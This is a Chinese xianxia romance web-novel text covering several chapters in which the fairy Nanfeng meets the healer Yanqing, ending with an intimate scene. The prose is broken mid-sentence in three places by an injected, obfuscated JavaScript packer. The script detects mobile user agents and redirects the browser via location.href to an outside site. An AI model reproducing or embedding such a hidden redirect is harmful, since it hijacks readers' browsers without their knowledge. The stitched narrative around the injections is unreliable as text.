【入卿梦也】 少女的身影正在村舍泥泞的小路上跌跌撞撞向前跑。 我环顾四周,好像是在什么山村?和星君描述前世故事里的山村有几分相似。 所以这里其实是…… “你是星辰?是下凡历劫的星君?” 少女听见我的话,不知为何现出茫然。 但很快,她脸上恢复笑容牵起我的手去往谁家的屋里。 院中点了一簇小小的篝火。星辰蹲在火边,呆呆地看了很久。 这段日子,正值西南地区火把节的日子。家家户户都点燃火把驱邪祈祷。星辰也想,便拉着我上山拾了一堆专门用作节日用的干枝。 “每年星辰都会跟着大家一起围着篝火跳舞、祈愿,期盼着见到娘亲。” “你的娘亲,去哪儿了?” “爹爹只说娘亲去了很远的地方,担心星辰的安全,没法赶回来看我。我时常在想,娘亲是不是不要我和爹爹了……” 前一秒失落,下一秒扬起开朗的笑。 “好在,我的祈愿成功了。” “是终于见到娘亲了吗?恭喜呀。” 她没有回答我,继续望着篝火熊熊。 半晌,我的手被放入一只小小的手中捧住, “娘亲。” “……” 她是在,唤我吗? 我有了些不安的预感。 “娘——你是谁?你不是星君吗?” 我忍不住想要猜测此刻在我面前的姑娘到底有谁,又因害怕那个真相的残酷与愧疚感到不安。 更强烈的困意压制着我,不要我去深究。 一股浓烈的花香飘来。又似竹香,又似药香……到底是什么? “娘亲睡吧,星辰陪着你。” “星辰……你……是她……” 喃喃过后,我忍不住闭上眼睛,噙着嘴角的弧度沉沉睡去。 【烟波醒渡】 没想到我居然趴在凉亭的石桌上睡着了。 四处张望,发现那两人并肩站在亭外的池水边,笑眼深情地望着彼此说着什么。 星君指尖捻着那封密信,唇角含笑絮语:“想不到,你还留着。” 赤竹说了什么,两人一同笑起来。 我望着他们的背影,心神恍惚。是与眼下氛围格格不入的分离感。 简单道别后,我决定打道回府。 “让黑无常送仙子一程吧。” 紧接着一道急促的风略过我的头顶,一道黑影倏地挡在我与赤竹之间。 赤竹介绍道:“这位是地府阴差,黑无常。” 黑无常微微颔首:“好久不见。” 我一下愣住,反问:“我与黑无常大人不是初见吗?” 他漆黑的眸子深不见底,露出抹稍许阴森的笑:“是初见。但我看来,却似久别重逢。” 我稍作震惊,眯起眼笑道:“想不到阴差还挺会讲话。” 黑无常不再多言,抬手引路。原本游荡着亡魂的幽径突然分出一条小道,两侧开满猩红的花,花瓣细长如爪,在阴风中微微战栗。 “仙子怎么突然着急回去?” “有些事儿……” 他侧目看我,唇角勾起一抹似有若无的弧度: “是因为心底空落落的,有种与现下格格不入的寂寞感,对吗?” 我心头一跳,竟生出几分敬佩。 “莫非见过的生死多了,所以那么敏锐?” “也许吧。难道我猜错了?” 我摇摇头,苦笑着跟他解释:“自大梦初醒,总能看到些奇怪的画面,关于一个人,关于一个……无论如何都想不起的人。” 许是见我神色憔悴,一块看起来碎裂的石头落在了我面前。 “有绳子,莫非是手链?” 我伸手接下,黑无常点头示意我说的没错。 “物归原主。此石原是霜洲神石,如今神力尽失。既是仙子旧物,如何处置全凭心意。” 又是物归原主。 我摩挲着石头上交错的裂痕,忽然觉得可笑:“前世的我,到底丢了多少东西……” 翌日,蓬莱仙岛。 黑无常给的手链我并未丢弃,而是找了木瞎子藏好,埋在蓬莱第几宫竹林的深处。 我叼着竹叶撑着脑袋坐在临海的礁石上,发呆发愣。 “南风。” 我循声回望。 “爹爹。” 方大仙背着手朝我走来,羽衣被海风鼓起。 “身体好些了吗?” “嗯,没那么疼了。” 我嘴硬回了一句,手指却不由自主地曲起,攥紧袖口,藏住腕上一道尚未愈合的伤痕。 听那个管不住嘴的西雨说,他们是在悬崖底下捡到我的。 差一点就死无全尸的南风仙子,硬是吊着半口气,把自己摔得粉身碎骨。 爹爹很少来海边寻我。往常他总待在竹林或凉亭,那些镌刻着娘亲痕迹的地方。说来可笑,我初来这片礁石,还是因他占了我的竹林,不得已才另寻的清净。 “爹爹再给你最后一次机会。选择一个人,和他走完一生。” 我怔住,听爹爹说下去。 “凡人的寿命有限,爹也不忍心看着你整日坐在礁石上胡思乱想。” 我静静地望着方大仙的侧脸,望进那双金色的眸子,心底莫名升起酸涩,但还是努力扬起了笑容。 “爹爹说什么呢?什么凡人?我可三千年从未离开过蓬莱仙岛,您是不是睡糊涂了?” 也许是看到我明朗的笑容,方大仙松了一口气。戳戳我的额头,又是我最常见的孺子不可教也的表情。 “罢了。过些日子,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“酒楼吃饭,竟不讲先来后到?” 话音落,她一脚踹翻了身旁的空椅,木椅“哐当”一声砸在地上,惊得邻座食客纷纷侧目。 我扯了扯云枕书的衣角,有些担忧待会儿二姐跟人打起来。 掌柜圆滑机敏地斟上酒,讪讪道:“马上就来,膳房已经下锅了。女侠莫要生气,这坛酒送给三位。” 好在道歉及时,菜也恰好送到,二姐这才收手。 我纳闷道:“掌柜怎么一来就道歉?” 二姐抬了抬下颌,“许是那桌是个什么知县吧,怕丢了脸面。” “信州知县吗?” 隔壁桌坐的中年男子,对面的妇人该是他的夫人。两人穿着朴素,我反正看不出是为官之人。 之后听见掌柜招呼了声李知县,证实了二姐的猜测。 丝竹声袅袅绕耳,我们三人换了凡人衣裳,混入熙攘的街巷,竟无半点违和。沿路叫卖的糖人、叮当作响的铜铃,每一样都勾得人驻足流连。 然后,我就走丢了。 也罢,千灯节一年一度,若光顾着寻人,反倒辜负了这满城烟火。 “姑娘!可要写盏天灯?飞上天后被神仙看到,可是很灵验的。” 白发老妪在摊前笑吟吟地招手,我顿时来了兴致。 神仙向神仙许愿?有意思。 “好!那我就挑——” 琳琅满目的灯挂在架子上,挑得人眼花缭乱。 我抬手一指:“就那盏绘有墨梅的吧。” “好嘞!” 摊位旁设有桌台笔墨,已经有人再写,我先在一旁思索思索。 我小心地触摸着灯罩上的梅花,想着写什么字好。 一不留神,手肘撞到身旁的人,我赶忙道歉:“抱歉!” 我慌忙后退,却撞进一双含笑的眼里——竟是方才街角惊鸿一瞥的身影。 “无妨。” 男子不介意,继续提笔写下自己的心愿。我忍不住悄悄凑过去偷看,手臂隔着衣料和他轻轻贴在一起。 纸上字迹潇洒不羁,就是看不明白他写的什么。 “姑娘对在下的字很感兴趣吗?” “嗯。啊!不,不感兴趣。” 他的笑容里藏着不言而喻的温柔,如同春日里的清风拂柳。 那一刻我有些恍惚,下意识出声。 “柳……” “嗯?”男子不解地看向我。 我慌忙别开话道:“公子像是读书人,莫非在学堂教书?” “确实教书。” 居然被我猜中了?! 他搁笔看向我,脸上不由露出笑容。 “不过教的学识与寻常书院不同,在下教的,是医术。” 130. 独倚阑干听旧曲 “不知公子在何处教医术?” “姑娘想学?” 我稍加思索道:“嗯!” “医鹿山。” “是……麓山书院吗?” “是山名,医者如鹿踏雪寻芝,故名医鹿。” 我默默在心底记下。 “在下写完了,姑娘请用。” 他让出笔墨,见他转身欲走,我急中生智。 “我不会写字!你——公子可以帮我题字吗?” 那双总含着笑意的眼睛凝视我片刻,竟真重新执笔:“当然,乐意之至。姑娘想写什么?” 看着眼前的脸,无需思考,要写的字脱口而出。 “相思相见知何日?此时此夜难为情。” 他张了张口似乎想说什么,但最后只是抿唇浅笑一笔一字写下。 他是不是察觉到了,我的别有用心……莫名有点心虚,我赶紧装出一副单纯无脑的样子。 道别时他礼貌地欠了欠身,提着自己的兔子灯隐没入茫茫人海中。 在山中教书的先生,提了个可爱的兔子灯…… 我悄悄盯着那抹渐行渐远的背影,心思迷惘,暗生落寞。 “二姐,你知道医鹿山吗?” 察觉到空气安静了好一会儿,我懵懵地看向摆出惊愕表情的二姐。 “二姐这是什么表情?莫非那是座……鬼山?!” 东婝低声沉吟:“没。没想到那么快……”她轻咳后稍稍提高音量,“医鹿山是神山,医仙葛榆在此设立医馆书院。但不是所有人都能上山求医,需得神鹿指引,方可寻到上山之道。” 回蓬莱第几宫的马车上,我靠着二姐端坐,忽又忆起那人。 “这么说,那位公子……是医仙?!” “医仙倒不是。” 见她回答得斩钉截铁,我心生纳闷,狐疑地眯起眼。 “二姐知道我说的谁?” 东婝脸上露出错愕。 “不,不知道。你想啊,医仙那么忙,怎么可能到人界闲逛。” “可我们也在此——” “总之不可能就对了。” “……哦。” 始终静默无言的枕书君忽而笑道:“说来,我曾在清溪书院念书时,有位挚友就曾去过医鹿山。” “真的?!” 我拨开一脸震惊的二姐,凑到他俩中间,两眼放光地盯着云枕书。 “枕书君快跟我讲讲!” 他却缩了缩脖子,偷瞄一眼我身后杀气腾腾的二姐,干笑:“年岁久远,有些记不清了……” “什么嘛,吊人胃口。” 身后的二姐收起带有杀意的笑,变幻出一条羽带替我挂在臂弯处。 “你想知晓,不如去找找看?羽带可替你指明方向。” “可我不会蓬莱第几宫,爹爹不会责骂二姐吗?” “爹爹的心态早变了。别忘了,可是他让你来千灯节的。” “对啊!多谢二姐!” 我在半道下了车,等羽带领我重回信州时,已是次日晌午。 羽带似乎早知我要寻谁,轻车熟路地领着我穿街过巷。转过街角,那个心心念念的背影果然正站在一户人家门前,一面婉拒谢礼,一面露出局促的笑。 我掩唇偷笑。心想,好可爱的表情,满是为难。 眼珠一转,我故意放慢脚步,假装是路过的闲人,与他擦肩时还煞有介事地偏头打量街边货摊。走出两步,忽地转身—— “欸?这不是医鹿山的仙长吗!” 那人同屋主一齐望过来。我三步并作两步跳到他跟前,眨眼便换了副愁容:“真是太巧了!不知仙长可有空去家里,为父亲诊治。爹爹他……爹爹他已经昏迷三日了……” 一旁的大伯见状,忙将谢礼又往仙长怀里塞:“仙长快收下吧,这姑娘看上去怪可怜的,收下了便去吧。” “这……” 仙长耳根泛红,手悬在半空,接也不是,推也不是。 许是医鹿山有什么不许拿人手短的规矩吧。 我灵机一动:“要不这样吧。这份贺礼就当是大伯替我留住了仙人,如此一来……应该我给大伯送礼呀!” “啊?”大伯和仙长异口同声疑惑。 我歪头看向仙长,指尖悄悄勾住他袖角:“仙长意下如何?” 心照不宣地对视一眼,仙长立刻明白了我的言外之意。他眸光一闪,唇角微不可察地翘了翘:“……行。” “那就这么说定了!”我拱手行礼,“多谢大伯!那仙长我就带走啦。” “这……”大伯一脸茫然。 我又道:“若是大伯不嫌弃的话,我家近来收了些穗子,之后给大伯送来。” 大伯连连摆手:“不成不成,我怎么还成收礼的了。” “那便多谢大伯啦!”我拽着那人袖子往前跑,“仙长?我们快走吧,再耽搁家父可等不及啦!” 被拖走的仙长踉跄两步,终是轻笑出声:“嗯。” 跑出好一段距离,我们才气喘吁吁地停下。 “好巧,又碰到姑娘了。”他微微喘着气,眼中带着温润的笑意。 “不巧!我是——” 话到嘴边突然刹住。总不能说我是特意追着他跑了大半个信州吧? “咳咳,是很巧。”我低头绞着羽带,偷瞄他的表情,“仙长接下来去哪儿?” “去汀州府义诊。姑娘呢?这么急着——” “汀州?!那么远!”我猛地抬头,声音都变了调,“你、你又要走了?” 才刚见面,怎么又要分别? 情急之下,我一把抓住他的袖子:“我不是路过!我是专程来找你的!” 他怔了怔,眉头轻蹙:“姑娘家中当真有人病重?” “没、没有……”我松开手,脸颊发烫,“就是……就是想谢谢你昨晚帮我题的字。” “举手之劳,不必挂怀。” 心底蓦地一沉,我的声音也小了些。 “汀州路远,仙长是飞着去还是走着去?” “乘车去。凡间不可擅用仙术。” “啊……嗯,有道理。” 我垂下脑袋,沉默在两人之间蔓延。我盯着地面的石子,拼命想着还能说什么挽留他。 “要一起吗?” 我一脸难以置信地抬头看向他。仙长的脸上挂着淡淡的笑,令人心思恍惚了一瞬。 晨光里,他唇角微扬,眸中似有星子闪烁:“若姑娘不嫌路途颠簸,或者,信得过我。” “可以吗!” “嗯。” 信州与汀州途中有一片旷野,仙长说,这片旷野原本尸横遍野,寸草不生。自五百年前某位仙子死后,某位大仙耗尽大半法术将生人无法踏足的旷野变为绿野。 虽人们依旧觊觎传说中,“踏足旷野便死无全尸”的传闻,也说旷野不过被一片虚幻的草掩盖,实际藏在岩板下的亡灵,吃人的蜉蝣依旧存在。 为了验证此等说法,仙长特地在此停下马车,一探究竟。 “仙长为何对此地如何感兴趣?就因为那个传说?” 他笑道:“是源自我常做的梦。我曾经……好像来过这里。” “来这儿?!仙长还需起死回生之术吗?” “恐怕不是为求术而来。” 跳下马车,天地连城一片。无尽的旷野,蔓蔓野草。 面对郁郁芊芊的的旷野,舒心的空气,沁人心脾的花草香,我狠狠伸了个懒腰。 “哪儿像是会吃人的样子,明明风景优美,气候宜人。” 他走在前头,我跟在后头,迈着相同的步子踏上绿野。 没走出几步,似是萤火的飞虫朝我们而来。 我轻触身旁环绕我们飘飞的蜉蝣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056843|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “古书记载,旷野上的蜉蝣靠啃食人的躯体和记忆存活,如今看来,似乎记载有误?” “那是曾经的旷野。” 他抬手指向远方。 “跨越这片旷野,尽头是一条大江,而江对岸,就是传说中的西洲孤岛。” “那个从世间消亡的氏族?” “倒也没有彻底消亡。只是唯一存活的那个人离开了孤岛。” “我们能穿越旷野,隔岸看看孤岛吗?” “当然可以。” 江水在脚下奔涌,涛声如雷,仿佛一个趔趄就会坠入万丈深渊。 我们并肩坐在旷野尽头的崖边,远处海雾中浮现一座开满白梅的孤岛。远看孤岛像座白色的坟墓,安静地悬浮于海面。 “那个氏族的人,大概是受不住永生的孤独,所以选择了末路吧。” “嗯。”他平静道,“长生对凡人而言是恩赐,可对生来就永生的人……或许反而是诅咒。” 夜风卷起我的袖摆,我望着漆黑的海面出神:“关在蓬莱第几宫三千年,我连喜怒哀乐都快忘了。” “蓬莱第几宫?姑娘来自蓬莱仙岛?” “我以为你知道我是仙……” “确实知道。第一眼时,便认出了。” “那——?” “我有一挚友,也在蓬莱第几宫。” “啊?” 好熟悉的用词。 我猛地坐直身子:“仙长的挚友……该不会是……枕书君吧??” 他笑而不答,眼中映着远处孤岛的白梅,像是落进了细雪。 搞了半天,还攀上关系了。 忽然想起那日马车内,云枕书的欲言又止以及二姐的反应。莫非那两人知道我会和仙长相遇?! 我疑惑地一手撑在侧脸,歪头看向眼前的男子。明明在想二姐姐夫的事,脱口而出却成了—— “你为何生得那么好看?” “嗯?” 他一脸错愕地看向我,我赶忙摆手别开脸。 “啊!抱歉!我什么也没说!” 脸颊灼烧的厉害,江风也吹不散。 忽地,一朵紫色桔梗递到眼前。花瓣还沾着晨露,幽香丝丝缕缕缠绕上来。我接过花时,指尖不经意擦过他微凉的指节,惹得砚清耳尖又红了几分。 仙长害羞的样子好可爱~ “姑娘。” “姑娘在!” 他轻笑了声。 “还不知姑娘芳名?” 我也还不知他的姓名。但……总该矜持些不是? “仙长想知道我的名字?为何?” “因为姑娘与我梦中的一位旧识……很像。” “梦?什么样的梦?” 他眼尾微挑,忽然吟道:“柔肠百转梦三生,九歌长夜思故人。” 我细细揣摩了诗中的含义,豁然开朗。 “我也是!” 你也像我梦中那人,从第一眼的背影,到眼下并肩而坐。 似前缘,似故人,似我梦过几生也不愿割舍的爱人。 四目相对时,他眸中映着粼粼江光,恍若我们共同经历过的无数个轮回,颇有默契相视一笑。 “仙长先说?” “在下砚清。” “南风。” “仙长的名字,好似在哪儿听过。” “我倒是听过姑娘的名字。” “啊?” 难道我早暴露了南风仙子的名号?! “南风知我意,吹梦到西洲。” “啊……这首啊,吓我一跳。”“实不相瞒,爹爹和娘亲正是因为这诗,给我取了这名。” “眼下,该重新编创一下,改为‘南风却不知我意,无缘吹梦到西洲’。” “嗯?” 这是何意? 江风突然卷起他散落的发丝,有几缕拂过我滚烫的耳垂。 131. 九歌一梦隐思君 我抚着白玉瓶中的桔梗,是他赠予我的桔梗。细嗅花香,若隐若现的竟有一丝苦涩。 是药香,是砚清的味道。 昨夜又梦见他了。 在梦里,我总是一次次死去,又一次次重生。而每次睁开眼,第一个映入眼帘的,永远是他那双盛满星辰的眼睛。 我不明白自己为何会做这种梦,最奇怪的是,无论痛楚还是欢愉,都那么真切。 蓬莱的晨雾漫进窗棂,我望着瓶中微微摇曳的桔梗出神。 他自然不会到蓬莱仙岛寻我,所以,只能是我去寻他了。 “哥哥!我要离开一段时间!” 正在院子修剪花枝的北雷望过来。 “又要去哪儿?” “人界,医山。” 他手中的剪子一下顿住:“你生病了?” “没错!不过不是寻常的病症,而是——相、思、病。” 话音未落,我已化作一阵清风掠过回廊。身后传来剪子落地的声响格外清脆。 “南风方才说......有心上人了?!就去一趟的功夫……这么快吗?” 哥哥震惊的声音追着我飘出好远,我忍不住笑出声来,脚步轻快地朝海边奔去。 惊涛拍岸,我站在礁石上,望着海下人间。 “我要一下跳到他面前!” 不管羽带听没听懂我的意思,我纵身一跃—— 风声在耳畔尖啸,我像一颗坠落的星子般急速下坠。 我强迫自己睁开眼,模糊的视野里,山河倒悬,天地倾覆。白云从身边划走,羽带延伸向苍穹。 心脏在胸腔里疯狂撞击,血液在耳边轰鸣,我尽情享受着临界生与死的快感。 砚清…… 闭上眼,我在心底默念他的名字。 你会接住我的吧? 就像梦中数次轮回那样,每一次,每一次—— 你都会找到坠落的我。 狂风撕扯着衣袍,失重感让五脏六腑都揪紧。我却扬起嘴角,任由自己坠向那片未知的深渊。 因为我知道…… 在触地前的最后一瞬,定会有双温暖的手,稳稳托住我的后背。 “砚清——!” 听见头顶传来的呼唤,砚清猛地仰望上来,瞪大眼睛,不可思议地发现正在落向他的我。 一瞬之间,我撞进坚实的拥抱,心有余悸地圈住他。 他接住我了! “你接住我了。” 我紧紧环住他的脖颈,将脸埋在他肩头轻笑。 他的手臂在微微发抖,心跳声透过衣料传来,又急又重。 良久,才听见他沙哑的声音:“又是……梦?” 我仰起脸,趁他失神之际,突然在他颊边啄了一记。望着他瞬间绯红的耳尖,我眨眨眼:“也许真是梦呢。” 砚清的手掌稳稳托住我的腰身,将我轻轻放下。 “这般不管不顾地跳下来,若我没抬头,落了空可怎么办?” 尽管这么说,他的眼中依然多了几分心疼的笑意。 “想你了嘛。” 不觉害臊的话脱口而出,我焦急地推开他,藏起脸。 砚清清润地笑道:“我也想姑娘。上次的事,还没道谢呢。” “汀州之事?举手之劳而已。况且你捎我一程,也该派上点用场嘛。” 不过帮他清点了下药草,解了燃眉人手不够之急。 “来得正好,恰好带你去个地方。” “好啊!” 手掌忽地被砚清更紧地牵住,我抿了抿唇,默许了他的动作。 “干嘛牵得那么紧?放心吧,我不会平白无故消失的。” “总有些不安……牵着你,安心多了。” 心尖蓦地一软,我用力扣住他的手指:“嗯!那你可得牵紧了。” 砚清领我去的该是他的药房,盈满药香的室内一股别样的香气立马吸引我的注意。 “是花茶?!” 我轻嗅着空气中浮动的暗香,惊喜地望向案几上冒着热气的茶盏。 “上次汀州被强塞的包裹里竟然是茉莉与绿茶,想着先尝尝味,看你会不会喜欢。待你来此时……” 话没说完,两个人一起脸红了。 “喜欢的。”我将茶盏抵在唇边,任氤氲水汽模糊了视线,“只要是砚清煮的……连汤药都是甜的。” “油嘴滑舌。” 砚清摇头轻笑,忽然眸光一凝。 “竹叶?” 他修长的手指从我发间取下一片青翠的竹叶。 “啊……来之前去了趟蓬莱第几宫的竹林,估计是那时不小心挂在发丝上的。” 砚清轻笑一下,把竹叶插进我的发髻间。 “奇怪……”他指尖悬在半空,“好像不知何时……似乎也这样为你簪过竹叶……” “嗯?” 我发蒙,他怔愣。 他的目光却穿过我,落在虚空中的某处,唇间溢出一声几不可闻的呢喃:“那些……真的是梦吗……” “你在说什么呢?” 砚清眸中带笑,伸手揉了揉我的发顶。手掌的动作逐渐减慢,他脸上的表情也逐渐凝固,仿佛突然坠入了某个遥远的回忆。 “砚清?”我伸手在他眼前晃了晃。 他到底怎么了? 廊外突然响起急促的脚步声,药房的门被猛地推开。一男一女闯了进来,却在看到我的瞬间,脸上浮现出比我更惊讶的神色。 我下意识往砚清身后躲了躲。 砚清介绍道:“这两位是医鹿山的医师,清雨和如雪。” 我连忙上前一步,规规矩矩地欠身行礼:“见过二位医师。” 两人礼貌回礼只是……他们看我的眼神,感觉隐隐透露着担心? 我不安地看了眼砚清,砚清察觉到后温声解释道:“他们是我的徒弟,久闻仙子大名,特来拜见。” 可那眼神也非仰慕呐。 名叫如雪的女医师突然展颜一笑,指了指自己又指了指身旁的男子:“我是如雪,他是清雨,我想姑娘应该……会想知道吧。” 有些许别扭的话,但听得出姑娘主动与我化解尴尬。 “我叫南风!见过二位医师。啊,忘记方才说过了呀……”我怪不好意思地笑了笑。 砚清在袖袍下轻轻捏了捏我的指尖。 “今夜我有事去寻医仙,你就在此歇下吧。” “嗯……那你还回来吗?” “办完事就回来。” “那我等你。” 砚清无奈地揉了揉我的发顶:“累了就先睡罢,不必等我。” 茶香药香氤氲的室内,我趴在砚清的桌案上等他。哈欠一个接着一个,眼皮一个劲儿沉下…… 好困……别睡着了…… 半梦半醒间,感知门被推开,有人进来了。熟悉的脚步声停在身侧,带着夜露的凉意。 “砚清……?” 我迷迷糊糊抬头,视线里是他被月光勾勒的轮廓,似天神下凡。 “都说不必等我了。” 我下意识往声源处靠去:“想等你……一起睡……” “……” 他没再说话。 感觉身子一轻,整个人被妥帖地抱了起来。 他似乎叹了口气,又似乎笑了。恍惚间,我陷入一个带着夜露清寒却又温暖至极的怀抱。他胸膛的起伏像是最好的摇篮曲,衣襟上残留的梅香是最好的安神香…… 这一夜,我仿佛漂泊的小舟终于归港,在他臂弯里睡得格外安稳。 偶尔半梦半醒时,还能感觉到他轻柔地为我掖紧被角,或是将散落的发丝别到耳后。 清晨微光透进窗棂时,枕畔已空。 我揉着惺忪睡眼,发现砚清留下的字条压在一支青竹发簪下,墨迹未干。 “梅林?” 做工精细的青竹发簪像是出自匠人之手,完美的毫无瑕疵。不显眼的背面,一个模糊不清的字,我揣测了下,似乎是个“闻”字。 挽好发髻,插上发簪,走出室外正好撞进经过门前的如雪。 “如雪医师早。” 她怀里抱着晒药的竹筛,闻言展颜一笑。 “姑娘早!昨晚睡得好吗?” “嗯!医鹿山睡得比蓬莱仙岛舒坦。” “膳房有早餐,姑娘要尝尝吗?” “好——啊,下次吧,砚清在梅林等我。” 如雪会意,腾出手指向云雾缭绕处:“也是,那片梅林不久便会夷为平地,改种药草,姑娘去看看也好。顺着东边的青石小径往上,穿过那片云杉便是。”忽又莞尔,“我们既都是熟人了,姑娘唤我如雪便好。” “好!我记下了。” 山风送来她带笑的应答,我踏着晨露往梅林跑去。 沿着青石小径,我拾级而上,远远望见砚清立在梅林中的背影,白衣胜雪,恍若谪仙。 再眨眼,哪儿来的花树?砚清分明站在一地垂死的树干间。 “这些梅树,为何成了这样?” 砚清凝望着枯木,眸色深深道:“这片梅林本就是靠着某位仙者的仙术才得以百年不凋零。那位仙者或许发生了什么,收了神通,这片梅林也恢复了原本的模样。” “方才我听如雪说,要将这里夷为平地,用来栽培药草?” “嗯。” “太可惜了……” “你觉得可惜?” 我垂下眼,故意逗趣似的哼唧两声,擦了擦不存在的眼泪。 “满山的白梅,想想就很美,更别说亲眼所见,不是吗?虽说西洲孤岛也是白梅一片,但……那里承载了亡魂,与此截然不同。” 一面向生,一面向死。 我的目光含着期待,砚清忍不住握住我身侧的手指。 “确实可惜。” 话音落,只见砚清广袖轻扬,如玉指尖划过虚空,似拨动无形的琴弦。刹那间枯木逢春,万千白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他饮下一口酒,贴上后撬开我的唇齿渡入我的口中。 “仙长醉了?” “没醉……也想装醉。” 残留着酒香的唇,湿热地含着我的唇。舌尖渡过来的气息是酒香,是药苦,是泪咸。 “你还是没告诉我,昨日你突然恍惚,究竟想到了什么。” “无聊的琐事罢了。” 我不甘心地把脸凑到他面前,努力让自己占据他的整个视线。 “谁家无聊的琐事能让仙长露出那般落寞的神情?你骗我。” 他眸光一暗,忽然笑了:“是很无聊。我竟看到你与我……痛苦诀别的样子。” 我也笑,软倒在他怀里,戳了戳方才混乱中被我扯开衣襟裸露的胸膛。 “我可舍不得与你诀别。” 轻吻落在他心口,挑起他一声喘息。 “重生也好,忘干净也好。无论重来多少回,我都会倾心与你” 天旋地转间,我感觉自己被强硬地翻了个身,一股充沛的灵力破身而入。听起来格外令人害羞的声音响了起来,我瞪大眼睛抓住他的手腕。 “那——方才是什么声音?” 砚清的指尖细细描摹着每一寸湿滑之地,我只好将他抓得更紧。 “你到底是我的梦……还是我终于找到你了……” 带着略微哭腔的声音在耳边诉说着,我含着泪拥住他轻颤的身子,想用心跳和温度告诉他。 “不是梦。这次……不是梦。” 我俯卧蜷缩在他怀中,后背相贴的地方是砚清平静的心跳。 回过头,是清隽之人平静的睡颜。 我惬意地拉起上方的手臂环住自己的脖颈,钻进他怀里,枕上他的手臂。 我轻蹭他的臂弯,问道:“仙长睡得好香啊,可是做了什么美梦?” “嗯,梦见了你。” 说话之人眼睛都不曾睁开,沙哑的嗓音撩拨着我。 “梦见我什么?” “梦见你……格外听话,没扰人清梦。” “……” 窗外竹影婆娑,清风携着几片落花掠过窗棂。 风声里,仿佛藏着说不尽的前尘往事,如一支古老的笛曲,在月色下低吟浅唱,诉说着三生石上未尽的缘分。 砚清的呼吸渐渐均匀,环着我的手臂却收得更紧了些。 我望着他近在咫尺的容颜,忽然觉得,或许那些被遗忘的往昔并不重要。重要的是此刻,他的温度,他的气息,他无意识收紧的怀抱,都在告诉我—— 纵使忘却千遍,这份情意终会循着本能,找到归途。 (正文完)